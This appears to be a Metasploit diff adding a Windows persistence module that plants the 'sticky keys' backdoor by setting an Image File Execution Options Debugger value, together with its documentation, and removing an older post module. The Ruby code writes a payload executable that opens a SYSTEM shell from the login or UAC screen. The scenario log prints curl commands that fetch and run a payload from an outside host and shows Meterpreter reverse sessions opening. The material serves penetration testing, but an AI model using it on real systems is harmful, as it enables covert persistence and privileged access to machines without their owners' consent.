diff --git a/documentation/modules/exploit/windows/persistence/accessibility_features_debugger.md b/documentation/modules/exploit/windows/persistence/accessibility_features_debugger.md new file mode 100644 index 0000000000000..e4214ebd0e224 --- /dev/null +++ b/documentation/modules/exploit/windows/persistence/accessibility_features_debugger.md @@ -0,0 +1,129 @@ +## Vulnerable Application + +This module makes it possible to apply the 'sticky keys' hack to a session with appropriate +rights. The hack provides a means to get a SYSTEM shell using UI-level interaction at an RDP +login screen or via a UAC confirmation dialog. The module modifies the Debug registry setting +for certain executables. + +The module options allow for this hack to be applied to: + +- SETHC (sethc.exe is invoked when SHIFT is pressed 5 times), +- UTILMAN (Utilman.exe is invoked by pressing WINDOWS+U), +- OSK (osk.exe is invoked by pressing WINDOWS+U, then launching the on-screen keyboard), +- DISP (DisplaySwitch.exe is invoked by pressing WINDOWS+P), +- NARRATOR (Narrator.exe is invoked by pressing WINDOWS+CTR+ENTER), +- ATBROKER (AtBroker.exe is invoked by launching accessibility features from the login screen, such as WINDOWS+CTR+ENTER). + +Custom payloads and binaries can be run as part of this exploit, but must be manually uploaded +to the target prior to running the module. + +## Verification Steps + +1. Get session on target with admin/system privs +2. `use exploit/windows/persistence/acessibility_features_debugger` +3. `set payload ` +4. `set session ` +5. `exploit` +6. Use the key combo to trigger the payload +7. Get a session + +## Options + +### BINARY + +The target binary to add the exploit to. Defaults to `SETHC`. + +Options are: + +- SETHC +- UTILMAN +- OSK +- DISP + +## Scenarios + +### Windows 10 1909 (10.0 Build 18363) + +``` +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1 +lhost => 1.1.1.1 +resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> use payload/cmd/windows/http/x64/meterpreter_reverse_tcp +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set fetch_command CURL +fetch_command => CURL +resource (/root/.msf4/msfconsole.rc)> set fetch_pipe true +fetch_pipe => true +resource (/root/.msf4/msfconsole.rc)> set lport 4450 +lport => 4450 +resource (/root/.msf4/msfconsole.rc)> set FETCH_URIPATH w3 +FETCH_URIPATH => w3 +resource (/root/.msf4/msfconsole.rc)> set FETCH_FILENAME mkaKJBzbDB +FETCH_FILENAME => mkaKJBzbDB +resource (/root/.msf4/msfconsole.rc)> to_handler +[*] Command served: curl -so %TEMP%\mkaKJBzbDB.exe http://1.1.1.1:8080/KAdxHNQrWO8cy5I90gLkHg & start /B %TEMP%\mkaKJBzbDB.exe + +[*] Command to run on remote host: curl -s http://1.1.1.1:8080/w3|cmd +[*] Payload Handler Started as Job 0 +[*] Fetch handler listening on 1.1.1.1:8080 +[*] HTTP server started +[*] Adding resource /KAdxHNQrWO8cy5I90gLkHg +[*] Adding resource /w3 +[*] Started reverse TCP handler on 1.1.1.1:4450 +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > [*] Meterpreter session 1 opened (1.1.1.1:4450 -> 2.2.2.2:49842) at 2025-12-05 06:34:00 -0500 + +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +sServer username: WIN10PROLICENSE\windows +meterpreter > sysinfo +Computer : WIN10PROLICENSE +OS : Windows 10 1909 (10.0 Build 18363). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > background +[*] Backgrounding session 1... +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > use exploit/windows/persistence/acessibility_features_debugger +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(windows/persistence/acessibility_features_debugger) > set payload windows/meterpreter/reverse_tcp +payload => windows/meterpreter/reverse_tcp +msf exploit(windows/persistence/acessibility_features_debugger) > set session 1 +session => 1 +msf exploit(windows/persistence/acessibility_features_debugger) > exploit +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. +msf exploit(windows/persistence/acessibility_features_debugger) > +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Likely exploitable +[*] Payload pathname: C:\Users\windows\AppData\Local\Temp\HQagFFAsQ.exe +[+] 'Sticky keys' successfully added. Launch the exploit at an RDP or UAC prompt by pressing SHIFT 5 times. +[-] Exploit failed: NoMethodError undefined method `gsub' for nil + +msf exploit(windows/persistence/acessibility_features_debugger) > rexploit +[*] Reloading module... +[*] Exploit running as background job 2. +[*] Exploit completed, but no session was created. + +[*] Started reverse TCP handler on 1.1.1.1:4444 +msf exploit(windows/persistence/acessibility_features_debugger) > [*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Likely exploitable +[*] Payload pathname: C:\Users\windows\AppData\Local\Temp\vEmsvwn.exe +[+] 'Sticky keys' successfully added. Launch the exploit at an RDP or UAC prompt by pressing SHIFT 5 times. +[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20251205.3717/WIN10PROLICENSE_20251205.3717.rc +[*] Sending stage (188998 bytes) to 2.2.2.2 +[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49843) at 2025-12-05 06:37:30 -0500 + +msf exploit(windows/persistence/acessibility_features_debugger) > sessions -i 2 +[*] Starting interaction with 2... + +meterpreter > getuid +Server username: WIN10PROLICENSE\windows +``` diff --git a/modules/exploits/windows/persistence/accessibility_features_debugger.rb b/modules/exploits/windows/persistence/accessibility_features_debugger.rb new file mode 100644 index 0000000000000..f0f737277352c --- /dev/null +++ b/modules/exploits/windows/persistence/accessibility_features_debugger.rb @@ -0,0 +1,156 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Post::Windows::Registry + include Msf::Post::Windows::Priv + include Msf::Exploit::Deprecated + moved_from 'post/windows/manage/sticky_keys' + + DEBUG_REG_PATH = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options' + DEBUG_REG_VALUE = 'Debugger' + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Accessibility Features (Sticky Keys) Persistence via Debugger Registry Key', + 'Description' => %q{ + This module makes it possible to apply the 'sticky keys' hack to a session with appropriate + rights. The hack provides a means to get a SYSTEM shell using UI-level interaction at an RDP + login screen or via a UAC confirmation dialog. The module modifies the Debug registry setting + for certain executables. + + The module options allow for this hack to be applied to: + + SETHC (sethc.exe is invoked when SHIFT is pressed 5 times), + UTILMAN (Utilman.exe is invoked by pressing WINDOWS+U), + OSK (osk.exe is invoked by pressing WINDOWS+U, then launching the on-screen keyboard), + DISP (DisplaySwitch.exe is invoked by pressing WINDOWS+P), + NARRATOR (Narrator.exe is invoked by pressing WINDOWS+CTR+ENTER), + ATBROKER (AtBroker.exe is invoked by launching accessibility features from the login screen, such as WINDOWS+CTR+ENTER). + + Custom payloads and binaries can be run as part of this exploit, but must be manually uploaded + to the target prior to running the module. + }, + 'Author' => [ + 'OJ Reeves', # original module + 'h00die' # persistence mixin, narrator, atbroker, docs + ], + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter', 'shell'], + 'References' => [ + ['URL', 'https://web.archive.org/web/20170201184448/https://social.technet.microsoft.com/Forums/windows/en-US/a3968ec9-5824-4bc2-82a2-a37ea88c273a/sticky-keys-exploit'], + ['URL', 'https://blog.carnal0wnage.com/2012/04/privilege-escalation-via-sticky-keys.html'], + ['URL', 'https://support.microsoft.com/en-us/windows/appendix-b-narrator-keyboard-commands-and-touch-gestures-8bdab3f4-b3e9-4554-7f28-8b15bd37410a'], + ['ATT&CK', Mitre::Attack::Technique::T1183_IMAGE_FILE_EXECUTION_OPTIONS_INJECTION], + ['ATT&CK', Mitre::Attack::Technique::T1546_008_ACCESSIBILITY_FEATURES], + ['URL', 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/'] + ], + 'Targets' => [ + [ 'Automatic', {} ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '1995-04-24', # windows 95 release date which included first sticky keys + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + } + ) + ) + + register_options([ + OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']), + OptEnum.new('BINARY', [true, 'The target binary to add the exploit to.', 'SETHC', ['SETHC', 'UTILMAN', 'OSK', 'DISP', 'NARRATOR', 'ATBROKER']]), + ]) + end + + # + # Returns the name of the executable to modify the debugger settings of. + # + def get_target_exe_name + case datastore['BINARY'] + when 'UTILMAN' + 'Utilman.exe' + when 'OSK' + 'osk.exe' + when 'DISP' + 'DisplaySwitch.exe' + when 'NARRATOR' + 'Narrator.exe' + when 'ATBROKER' + 'AtBroker.exe' + else + 'sethc.exe' + end + end + + # + # Returns the key combinations required to invoke the exploit once installed. + # + def get_target_key_combo + case datastore['BINARY'] + when 'UTILMAN' + 'WINDOWS+U' + when 'OSK' + 'WINDOWS+U, then launching the on-screen keyboard' + when 'DISP' + 'WINDOWS+P' + when 'NARRATOR' + 'WINDOWS+CTR+ENTER' + when 'ATBROKER' + 'Launching accessibility features from the login screen (such as WINDOWS+CTR+ENTER)' + else + 'SHIFT 5 times' + end + end + + # + # Returns the full path to the target's registry key based on the current target + # settings. + # + def get_target_exe_reg_key + "#{DEBUG_REG_PATH}\\#{get_target_exe_name}" + end + + def writable_dir + d = super + return session.sys.config.getenv(d) if d.start_with?('%') + + d + end + + def check + print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value + return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir) + + return CheckCode::Safe('You have admin rights to run this Module') unless is_admin? + + CheckCode::Appears('Likely exploitable') + end + + def install_persistence + payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13))) + temp_path = writable_dir + payload_exe = generate_payload_exe + payload_pathname = temp_path + '\\' + payload_name + '.exe' + vprint_status("Payload pathname: #{payload_pathname}") + fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe) + target_key = get_target_exe_reg_key + registry_createkey(target_key) + registry_setvaldata(target_key, DEBUG_REG_VALUE, payload_pathname, 'REG_SZ') + + print_good("'Sticky keys' successfully added. Launch the exploit at an RDP or UAC prompt by pressing #{get_target_key_combo}.") + @clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '\\\\\\\\')}\"\n" + @clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"#{target_key}\" /v GlobalFlag /f\" -H\n" + end +end diff --git a/modules/post/windows/manage/sticky_keys.rb b/modules/post/windows/manage/sticky_keys.rb deleted file mode 100644 index deecba40ec9dc..0000000000000 --- a/modules/post/windows/manage/sticky_keys.rb +++ /dev/null @@ -1,128 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -class MetasploitModule < Msf::Post - include Msf::Post::File - include Msf::Post::Windows::Registry - include Msf::Post::Windows::Priv - - DEBUG_REG_PATH = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options' - DEBUG_REG_VALUE = 'Debugger' - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'Sticky Keys Persistence Module', - 'Description' => %q{ - This module makes it possible to apply the 'sticky keys' hack to a session with appropriate - rights. The hack provides a means to get a SYSTEM shell using UI-level interaction at an RDP - login screen or via a UAC confirmation dialog. The module modifies the Debug registry setting - for certain executables. - - The module options allow for this hack to be applied to: - - SETHC (sethc.exe is invoked when SHIFT is pressed 5 times), - UTILMAN (Utilman.exe is invoked by pressing WINDOWS+U), - OSK (osk.exe is invoked by pressing WINDOWS+U, then launching the on-screen keyboard), and - DISP (DisplaySwitch.exe is invoked by pressing WINDOWS+P). - - The hack can be added using the ADD action, and removed with the REMOVE action. - - Custom payloads and binaries can be run as part of this exploit, but must be manually uploaded - to the target prior to running the module. By default, a SYSTEM command prompt is installed - using the registry method if this module is run without modifying any parameters. - }, - 'Author' => ['OJ Reeves'], - 'Platform' => ['win'], - 'SessionTypes' => ['meterpreter', 'shell'], - 'Actions' => [ - ['ADD', { 'Description' => 'Add the backdoor to the target.' }], - ['REMOVE', { 'Description' => 'Remove the backdoor from the target.' }] - ], - 'References' => [ - ['URL', 'https://web.archive.org/web/20170201184448/https://social.technet.microsoft.com/Forums/windows/en-US/a3968ec9-5824-4bc2-82a2-a37ea88c273a/sticky-keys-exploit'], - ['URL', 'https://blog.carnal0wnage.com/2012/04/privilege-escalation-via-sticky-keys.html'] - ], - 'DefaultAction' => 'ADD', - 'Notes' => { - 'Stability' => [CRASH_SAFE], - 'SideEffects' => [CONFIG_CHANGES], - 'Reliability' => [] - } - ) - ) - - register_options([ - OptEnum.new('TARGET', [true, 'The target binary to add the exploit to.', 'SETHC', ['SETHC', 'UTILMAN', 'OSK', 'DISP']]), - OptString.new('EXE', [true, 'Executable to execute when the exploit is triggered.', '%SYSTEMROOT%\system32\cmd.exe']) - ]) - end - - # - # Returns the name of the executable to modify the debugger settings of. - # - def get_target_exe_name - case datastore['TARGET'] - when 'UTILMAN' - 'Utilman.exe' - when 'OSK' - 'osk.exe' - when 'DISP' - 'DisplaySwitch.exe' - else - 'sethc.exe' - end - end - - # - # Returns the key combinations required to invoke the exploit once installed. - # - def get_target_key_combo - case datastore['TARGET'] - when 'UTILMAN' - 'WINDOWS+U' - when 'OSK' - 'WINDOWS+U, then launching the on-screen keyboard' - when 'DISP' - 'WINDOWS+P' - else - 'SHIFT 5 times' - end - end - - # - # Returns the full path to the target's registry key based on the current target - # settings. - # - def get_target_exe_reg_key - "#{DEBUG_REG_PATH}\\#{get_target_exe_name}" - end - - # - # Runs the exploit. - # - def run - unless is_admin? - fail_with(Failure::NoAccess, 'The current session does not have administrative rights.') - end - - print_good('Session has administrative rights, proceeding.') - - target_key = get_target_exe_reg_key - - if action.name == 'ADD' - command = expand_path(datastore['EXE']) - - registry_createkey(target_key) - registry_setvaldata(target_key, DEBUG_REG_VALUE, command, 'REG_SZ') - - print_good("'Sticky keys' successfully added. Launch the exploit at an RDP or UAC prompt by pressing #{get_target_key_combo}.") - else - registry_deletekey(target_key) - print_good("'Sticky keys' removed from registry key #{target_key}.") - end - end -end